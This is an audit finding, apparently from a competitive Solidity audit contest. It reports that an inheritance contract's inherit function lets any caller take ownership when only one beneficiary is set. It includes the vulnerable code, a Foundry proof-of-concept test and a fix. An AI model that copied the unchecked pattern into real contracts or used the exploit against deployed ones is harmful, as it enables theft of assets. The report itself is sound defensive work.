Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Ownership Reclaim in `inherit` Function

Summary

In src/InheritanceManager.sol, the function inherit allows anyone to become the owner of the contract when beneficiaries.length == 1 without verifying if msg.sender is the sole beneficiary. This behavior violates the intended inheritance mechanism and could result in unauthorized ownership transfers.

Vulnerability Details

In InheritanceManager.sol#L217, the inherit function is implemented as follows:

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

When beneficiaries.length == 1, the function does not check that msg.sender is the only beneficiary in the list. This allows any attacker to front-run the intended beneficiary and claim ownership of the contract.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
function test_invalid_beneficiary() public {
address user2 = makeAddr("user2");
vm.startPrank(owner);
// Only one beneficiary is set
im.addBeneficiary(user1);
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 9e18);
vm.warp(1 + 90 days);
// After 90 days, user2 (who is not the beneficiary or the original owner) can inherit the contract
vm.startPrank(user2);
im.inherit();
vm.stopPrank();
assertEq(im.getOwner(), user2); // Ownership was wrongly transferred to user2
}
}

Impact

This vulnerability enables any attacker to steal contract ownership if there is only one beneficiary. The intended beneficiary can be front-run, causing a complete loss of control over the contract and any assets it holds.

Tools Used

  • Manual code review

  • Foundry for Solidity testing

Recommendations

To prevent unauthorized ownership claims, add a check before assigning a new owner:

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
// ✅ Ensure only the beneficiary can claim ownership
require(msg.sender == beneficiaries[0], "Not a valid beneficiary.");
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.